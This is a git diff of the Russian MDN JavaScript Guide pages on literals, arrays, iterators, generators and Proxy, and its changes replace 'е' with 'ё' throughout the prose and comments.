          Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчеркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.
          
+
          Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчёркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.
          
 
 
          const PREFIX = '212';
          
 
@@ -260,7 +260,7 @@ MY_OBJECT.key = "otherValue";
          
 
 
          Преобразование типов данных
          
 
-
          JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы ее объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:
          
+
          JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы её объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:
          
 
 
          var answer = 42;
          
 
@@ -313,9 +313,9 @@ MY_OBJECT.key = "otherValue";
          
 
 
          Литерал массива
          
 
-
          Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключенный в квадратные скобки ( [] ). Когда вы создаете массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.
          
+
          Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключённый в квадратные скобки ( [] ). Когда вы создаёте массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.
          
 
-
          В следующем примере создается массив coffees с тремя элементам и длиной, равной трем:
          
+
          В следующем примере создаётся массив coffees с тремя элементам и длиной, равной трём:
          
 
 
          var coffees = ["French Roast", "Colombian", "Kona"];
 
          
@@ -324,7 +324,7 @@ MY_OBJECT.key = "otherValue";
 
          Замечание : Обратите внимание на то, что литерал массива является инициализатором объекта. Чтобы получить более подробную информацию, прочитайте Использование инициализаторов объекта.
          
 
 
-
          Если массив создается с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создается каждый раз, когда вызывается функция.
          
+
          Если массив создаётся с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создаётся каждый раз, когда вызывается функция.
          
 
 
          Литералы массива также являются объектами Array. Чтобы получить более подробную информацию, прочитайте {{jsxref("Array")}} и упорядоченные наборы данных.
          
 
@@ -345,11 +345,11 @@ MY_OBJECT.key = "otherValue";
 
          var myList = ['home', , 'school', ]; // ["home", undefined, "school"]
 
          
 
-
          В следующем примере длина массива равна четырем, элементы myList[0] и myList[2] имеют значение undefined:
          
+
          В следующем примере длина массива равна четырём, элементы myList[0] и myList[2] имеют значение undefined:
          
 
 
          var myList = [ , 'home', , 'school']; // [undefined, "home", undefined, "school"]
          
 
-
          В следующем примере длина массива равна четырем, элементы myList[1] и myList[3] имеют значение undefined. Игнорируется только последняя запятая.
          
+
          В следующем примере длина массива равна четырём, элементы myList[1] и myList[3] имеют значение undefined. Игнорируется только последняя запятая.
          
 
 
          var myList = ['home', , 'school', , ]; // ["home", undefined, "school", undefined]
          
 
@@ -409,7 +409,7 @@ MY_OBJECT.key = "otherValue";
 
 
          Литерал объекта
          
 
-
          Литерал объекта — это список из нуля или более пар, состоящих из имен свойств и связанных с ними значений, заключенный в фигурные скобки ( {} ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведет к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.
          
+
          Литерал объекта — это список из нуля или более пар, состоящих из имён свойств и связанных с ними значений, заключённый в фигурные скобки ( {} ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведёт к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.
          
 
 
          В следующем примере свойству myCar объекта car присваивается строка "Saturn", свойству getCar — результат вызова функции CarTypes("Honda"), свойству special — значение переменной Sales:
          
 
@@ -482,7 +482,7 @@ console.Строковый литерал
 
-
          Строковый литерал — это ноль или более символов, заключенных в двойные ( " ) или одинарные ( ' ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:
          
+
          Строковый литерал — это ноль или более символов, заключённых в двойные ( " ) или одинарные ( ' ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:
          
 
 
          "foo"
 'bar'
@@ -599,14 +599,14 @@ POST`http://foo.org/bar?a=${a}&b=${b}
 
 
          Экранирующие символы
          
 
-
          Для символов, не перечисленных в вышеприведенной таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.
          
+
          Для символов, не перечисленных в вышеприведённой таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.
          
 
 
          Вы можете вставить кавычку в строку, если поставите перед ней обратную косую черту. Это называется экранированием кавычек. Например:
          
 
 
          var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
 console.log(quote); // He read "The Cremation of Sam McGee" by R.W. Service.
          
 
-
          Чтобы включить обратную косую черту в строку, перед ней нужно поставить еще одну обратную косую черту. Например:
          
+
          Чтобы включить обратную косую черту в строку, перед ней нужно поставить ещё одну обратную косую черту. Например:
          
 
 
          var home = "c:\\temp"; // c:\temp
          
 
diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html
index fcd22de953..52a44a45d9 100644
--- a/files/ru/web/javascript/guide/index.html
+++ b/files/ru/web/javascript/guide/index.html
@@ -110,7 +110,7 @@ translation_of: Web/JavaScript/Guide
 
   
          Гарантии
          
    Цепочка вызовов
          
-   Распространенные ошибки
          
+   Распространённые ошибки
          
    Композиция
          
    Порядок выполнения
          
  
diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html
index ed49aa33bd..68a5001fdb 100644
--- a/files/ru/web/javascript/guide/indexed_collections/index.html
+++ b/files/ru/web/javascript/guide/indexed_collections/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Guide/Indexed_collections
 
 
          Массив представляется собой упорядоченный набор значений, к которому вы ссылаетесь по имени и индексу. Допустим, у вас есть массив с именем emp, содержащий имена сотрудников и упорядоченный по номеру сотрудников. Следовательно, emp[1] будет представлять собой имя сотрудника номер один, emp[2] -- имя сотрудника номер два, и т.д.
          
 
-
          Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределенный объект Array и его методы для работы с массивами в создаваемых приложениях. Объект Array содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения,  переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.
          
+
          Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределённый объект Array и его методы для работы с массивами в создаваемых приложениях. Объект Array содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения,  переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.
          
 
 
          Создание массива
          
 
@@ -37,7 +37,7 @@ arr.length = arrayLength;
 
          
 
 
          
-
          Замечание: в примере выше arrayLength должно иметь числовой тип Number. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция arr.length вернет значение arrayLength, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла  {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернет ни одного элемента.
          
+
          Замечание: в примере выше arrayLength должно иметь числовой тип Number. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция arr.length вернёт значение arrayLength, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла  {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернёт ни одного элемента.
          
 
          
 
 
          Массивы могут быть присвоены свойству нового или уже существующего объекта, как показано ниже:
          
@@ -114,7 +114,7 @@ arr["length"];  // Вернёт число 3, так как это свойст
 
 
          Понимание length
          
 
-
          На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство length всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчет ведется с 0, а не с 1. Из этого и следует, что свойство length всегда на единицу больше, чем наибольший индекс хранящийся в массиве:
          
+
          На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство length всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчёт ведётся с 0, а не с 1. Из этого и следует, что свойство length всегда на единицу больше, чем наибольший индекс хранящийся в массиве:
          
 
 
          var cats = [];
 cats[30] = ['Dusty'];
@@ -127,7 +127,7 @@ console.log(cats.length); // 31
 console.log(cats.length); // 3
 
 cats.length = 2;
-console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удален
+console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удалён
 
 cats.length = 0;
 console.log(cats); // выводит пустую строку; массив cats пуст
@@ -138,7 +138,7 @@ console.log(cats); // выводит [undefined, undefined, undefined]
 
 
          Перебор содержимого массивов
          
 
-
          Очень распространенная задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:
          
+
          Очень распространённая задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:
          
 
 
          var colors = ['red', 'green', 'blue'];
 for (var i = 0; i < colors.length; i++) {
@@ -146,7 +146,7 @@ for (var i = 0; i < colors.length; i++) {
 }
 
          
 
-
          Если вам заранее известно, что ни один элемент массива не будет расценен как false при приведении к boolean — например, каждый элемент массива является DOM узлом, тогда вы можете блеснуть чуть более эффективным оборотом:
          
+
          Если вам заранее известно, что ни один элемент массива не будет расценён как false при приведении к boolean — например, каждый элемент массива является DOM узлом, тогда вы можете блеснуть чуть более эффективным оборотом:
          
 
 
          var divs = document.getElementsByTagName('div');
 for (var i = 0, div; div = divs[i]; i++) {
@@ -275,7 +275,7 @@ myArray.sort();
 // массив отсортирован myArray = [ "Fire", "Rain", "Wind" ]
 
          
 
-
          Метод sort() может принимать в качестве аргумента callback-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трех значений (список вариантов значений смотрите после примера):
          
+
          Метод sort() может принимать в качестве аргумента callback-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трёх значений (список вариантов значений смотрите после примера):
          
 
 
          Пример. Следующий код сортирует массив по последнему символу в строке:
          
 
@@ -297,16 +297,16 @@ myArray.sort(sortFn);
 
 
          var a = ['a', 'b', 'a', 'b', 'a'];
 console.log(a.indexOf('b')); // выводит 1
-// Попробуем еще раз, начиная с индекса последнего совпадения
+// Попробуем ещё раз, начиная с индекса последнего совпадения
 console.log(a.indexOf('b', 2)); // выводит 3
 console.log(a.indexOf('z')); // выводит -1, потому что 'z' не найдено
 
          
 
-
          {{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и indexOf, но поиск ведется в обратном порядке, с конца массива.
          
+
          {{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и indexOf, но поиск ведётся в обратном порядке, с конца массива.
          
 
 
          var a = ['a', 'b', 'c', 'd', 'a', 'b'];
 console.log(a.lastIndexOf('b')); // выводит 5
-// Попробуем еще раз, начиная с индекса, предшествующего индексу последнего совпадения
+// Попробуем ещё раз, начиная с индекса, предшествующего индексу последнего совпадения
 console.log(a.lastIndexOf('b', 4)); // выводит 1
 console.log(a.lastIndexOf('z')); // выводит -1
 
          
@@ -343,7 +343,7 @@ var a2 = [1, '2', 3];
 console.log(a2.every(isNumber)); // выводит false
 
          
 
-
          {{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов callback-функции вернет true хотя бы для одного элемента.
          
+
          {{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов callback-функции вернёт true хотя бы для одного элемента.
          
 
 
          function isNumber(value){
   return typeof value == 'number';
@@ -356,7 +356,7 @@ var a3 = ['1', '2', '3'];
 console.log(a3.some(isNumber)); // выводит false
 
          
 
-
          Те из методов выше, что принимают callback-функцию в качестве аргумента, известны как методы итерации (iterative methods), потому что определенным образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый thisObject. Если этот аргумент присутствует, то его значение присваивается ключевому слову this в теле callback-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, this будет ссылаться на глобальный объект ({{domxref("window")}}).
          
+
          Те из методов выше, что принимают callback-функцию в качестве аргумента, известны как методы итерации (iterative methods), потому что определённым образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый thisObject. Если этот аргумент присутствует, то его значение присваивается ключевому слову this в теле callback-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, this будет ссылаться на глобальный объект ({{domxref("window")}}).
          
 
 
          В действительности callback-функция вызывается с тремя аргументами. Первый аргумент - текущий элемент массива, второй - индекс этого элемента, и третий - ссылка на сам массив. Однако, в JavaScript, функции игнорируют любые аргументы, которые не перечислены в списке аргументов. Таким образом, нет ничего страшного в использовании функции с одним аргументом, такой как alert.
          
 
@@ -367,7 +367,7 @@ var total = a.reduce(function(first, second, index) { return first + second; },
 console.log(total) // выводит 60
 
 
-
          {{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и reduce(), но порядок обхода ведется от конца к началу.
          
+
          {{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и reduce(), но порядок обхода ведётся от конца к началу.
          
 
 
          Методы reduce и reduceRight являются наименее очевидными методами объекта Array. Они должны использоваться в алгоритмах, которые рекурсивно совмещают два элемента массива, для сведения всей последовательности к одному значению.
          
 
@@ -375,7 +375,7 @@ console.log(total) // выводит 60
 
 
          Массивы могут быть вложенными, то есть массив может содержать массивы в элементах. Используя эту возможность массивов JavaScript, можно построить многомерные массивы.
          
 
-
          Следующий код создает двумерный массив:
          
+
          Следующий код создаёт двумерный массив:
          
 
 
          var a = new Array(4);
 for (i = 0; i < 4; i++) {
@@ -386,7 +386,7 @@ for (i = 0; i < 4; i++) {
 }
 
          
 
-
          В этом примере создается массив со следующим содержимым:
          
+
          В этом примере создаётся массив со следующим содержимым:
          
 
 
          Ряд 0: [0,0] [0,1] [0,2] [0,3]
 Ряд 1: [1,0] [1,1] [1,2] [1,3]
@@ -428,11 +428,11 @@ for (i = 0; i < 4; i++) {
 
 
          ArrayBuffer
          
 
-
          Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.
          
+
          Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.
          
 
 
          Типизированные представления
          
 
-
          Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.
          
+
          Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.
          
 
 
          {{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}
          
 
diff --git a/files/ru/web/javascript/guide/introduction/index.html b/files/ru/web/javascript/guide/introduction/index.html
index 07c31a7a05..825d8cf2d6 100644
--- a/files/ru/web/javascript/guide/introduction/index.html
+++ b/files/ru/web/javascript/guide/introduction/index.html
@@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
            
  
          • Общее понимание Internet и World Wide Web ({{Glossary("WWW")}}).
            • 
  
          • Хорошее знание HyperText Markup Language ({{Glossary("HTML")}}).
            • 
- 
          • Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведенными на странице по JavaScript.
            • 
+ 
          • Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведёнными на странице по JavaScript.
            • 
 
          
 
 
          Где можно найти информацию о JavaScript?
          
@@ -40,7 +40,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
 
          JavaScript — это кросс-платформенный, объектно-ориентированный скриптовый язык, являющийся небольшим и легковесным. Внутри среды исполнения JavaScript может быть связан с объектами данной среды и предоставлять программный контроль над ними.
          
 
-
          JavaScript включает стандартную библиотеку объектов, например, Array, Date и Math, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путем добавления в него новых объектов, например:
          
+
          JavaScript включает стандартную библиотеку объектов, например, Array, Date и Math, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путём добавления в него новых объектов, например:
          
 
 
            
  
          • JavaScript на стороне клиента расширяет ядро языка, предоставляя объекты для контроля браузера и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в форме HTML и обрабатывать пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.
            • 
@@ -53,7 +53,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
 
            В отличие от системы скомпилированных классов Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом числе типов данных, представляющих числовые, логические и строковые значения. JavaScript имеет объектную модель на базе прототипов вместо более общей модели на базе классов. Модель объектов на базе прототипов предоставляет динамическое наследование, т.е. то, что наследуется, может отличаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как свободно-типизированные методы.
            
 
-
            По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищенными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.
            
+
            По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищёнными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.
            
 
 
            Java — это язык программирования, основанный на классах и предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что вы не можете привести тип integer к типу object reference или получить доступ к приватной памяти, изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно требуют тесно связанные иерархии объектов. Эти требования делают программирование на Java более комплексным, чем программирование на JavaScript.
            
 
@@ -77,8 +77,8 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
    
        
-   
-   
+   
+   
        
  Таблица 3.7 Приоритет операторов
 
 
 
 
 
 
 
 
 
 
 
 
        Типы данных переменных должны быть объявлены (статическая типизация).
   
        
   
        Не может автоматически записывать на жесткий диск.Может автоматически записывать на жесткий диск.Не может автоматически записывать на жёсткий диск.Может автоматически записывать на жёсткий диск.
   
        
          
 
        
@@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
 
        JavaScript стандартизирован европейской ассоциацией Ecma International, деятельность которой посвящена стандартизации информационных и коммуникационных систем (изначально ECMA являлся акронимом European Computer Manufacturers Association). Эта стандартизированная версия JavaScript, называемая ECMAScript, работает одинаково во всех приложениях, поддерживающих стандарт. Компании могут использовать открытый стандарт языка, чтобы разработать собственную реализацию JavaScript. Стандарт ECMAScript задокументирован в спецификации ECMA-262. Чтобы узнать больше информации о разных версиях JavaScript и ECMAScript, прочитайте Что нового в JavaScript.
        
 
-
        Стандарт ECMA-262 также утвержден ISO (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на сайте Ecma International. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована World Wide Web Consortium (W3C). DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте Обзор JavaScript.
        
+
        Стандарт ECMA-262 также утверждён ISO (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на сайте Ecma International. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована World Wide Web Consortium (W3C). DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте Обзор JavaScript.
        
 
 
        Документация JavaScript против спецификации ECMAScript
        
 
@@ -97,7 +97,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
 
        Документ ECMAScript не предназначен для помощи программистам в создании скриптов; чтобы получить информацию о том, как писать скрипты, используйте документацию JavaScript.
        
 
-
        Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остается таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.
        
+
        Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остаётся таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.
        
 
 
        Документация JavaScript описывает аспекты языка, являющиеся подходящими для JavaScript-программиста.
        
 
@@ -128,7 +128,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
 
 
        Web Console отлично подходит для выполнения одиночных строк JavaScript, но хотя вы можете выполнить и несколько строк, это не очень удобно, к тому же вы не можете сохранить ваш код, используя Web Console. Поэтому для более комплексных примеров Scratchpad является более подходящим инструментом.
        
 
-
        Чтобы открыть Scratchpad(Shift+F4), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жесткий диск, а потом загружать их.
        
+
        Чтобы открыть Scratchpad(Shift+F4), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жёсткий диск, а потом загружать их.
        
 
 
        Если вы выберете "Display", то код в вашем блокноте будет выполнен в браузере, а результат вставлен обратно в блокнот как комментарий:
        
 
diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html
index ea05bf2965..b447156ea8 100644
--- a/files/ru/web/javascript/guide/iterators_and_generators/index.html
+++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
 ---
 
        {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}
        
 
-
        Обработка каждого элемента коллекции является весьма распространенной операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла for до map(), filter() и array comprehensions. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения for...of циклов.
        
+
        Обработка каждого элемента коллекции является весьма распространённой операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла for до map(), filter() и array comprehensions. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения for...of циклов.
        
 
 
        Подробнее см. также:
        
 
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
 
 
        Итераторы
        
 
-
        Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая свое текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.
        
+
        Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая своё текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.
        
 
 
        После создания, объект-итератор может быть явно использован, с помощью вызовов метода next().
        
 
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
     }
 }
        -

        После инициализации, метод next() может быть вызван для поочередного доступа к парам ключ-значение в объекте:

        +

        После инициализации, метод next() может быть вызван для поочерёдного доступа к парам ключ-значение в объекте:

        var it = makeIterator(['yo', 'ya']);
 console.log(it.next().value); // 'yo'
@@ -48,7 +48,7 @@ console.log(it.next().done);  // true

        Генераторы

        -

        В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьезное внимание поддержке внутреннего состояния. {{jsxref("Global_Objects/Generator","Генераторы","","true")}} предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.

        +

        В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьёзное внимание поддержке внутреннего состояния. {{jsxref("Global_Objects/Generator","Генераторы","","true")}} предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.

        Генераторы - это специальный тип функции, который работает как фабрика итераторов. Функция становится генератором, если содержит один или более {{jsxref("Operators/yield","yield")}} операторов и использует {{jsxref("Statements/function*","function*")}} синтаксис.

        @@ -67,7 +67,7 @@ console.log(it.next().value); // 2

        Итерируемые объекты

        -

        Объект является итерируемым, если в нем определен способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.

        +

        Объект является итерируемым, если в нем определён способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.

        Чтобы быть итерируемым, объект обязан реализовать метод @@iterator, что означает, что он (или один из объектов выше по цепочке прототипов) обязан иметь свойство с именем {{jsxref("Symbol.iterator")}}:

        @@ -152,7 +152,7 @@ console.log(sequence.next().value); // 3

        Можно заставить генератор выбросить исключение, вызвав его метод {{jsxref("Global_Objects/Generator/throw","throw()")}} и передав в качестве параметра значение исключения, которое должно быть выброшено. Это исключение будет выброшено из текущего приостановленного контекста генератора так, будто текущий приостановленный yield оператор являлся throw оператором.

        -

        Если yield оператор не встречается во время обработки выброшенного исключения, то исключение передается выше через вызов throw(), и результатом последующих вызовов next() будет свойство done равное true.

        +

        Если yield оператор не встречается во время обработки выброшенного исключения, то исключение передаётся выше через вызов throw(), и результатом последующих вызовов next() будет свойство done равное true.

        У генераторов есть метод  {{jsxref("Global_Objects/Generator/return","return(value)")}}, который возвращает заданное значение и останавливает работу генератора.

        diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html index 49b3657c4c..d1d84977b8 100644 --- a/files/ru/web/javascript/guide/meta_programming/index.html +++ b/files/ru/web/javascript/guide/meta_programming/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Guide/Meta_programming

        Объекты Proxy

        -

        Введенный в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определенных операций. Например, получение свойства объекта:

        +

        Введённый в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определённых операций. Например, получение свойства объекта:

        var handler = {
   get: function(target, name) {
@@ -28,7 +28,7 @@ p.a = 1;
 console.log(p.a, p.b); // 1, 42
        -

        Объект Proxy определяет target (в данном случае новый пустой объект) и handler - объект в котором реализована особая функция-ловушка get. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернет не undefined, а числовое значение 42.

        +

        Объект Proxy определяет target (в данном случае новый пустой объект) и handler - объект в котором реализована особая функция-ловушка get. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернёт не undefined, а числовое значение 42.

        Дополнительные примеры доступны в справочнике {{jsxref("Proxy")}}.

        @@ -38,7 +38,7 @@ console.log(p.a, p.b); // 1, 42
        {{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (обработчик)
        -
        Объект - обертка, содержащий в себе функции-ловушки.
        +
        Объект - обёртка, содержащий в себе функции-ловушки.
        ловушки (traps)
        Методы, реализующие доступ к свойствам. В своей концепции они аналогичны методам перехвата(hooking) в операционных системах.
        цель (target)
        @@ -103,7 +103,7 @@ console.log(p.a, p.b); // 1, 42
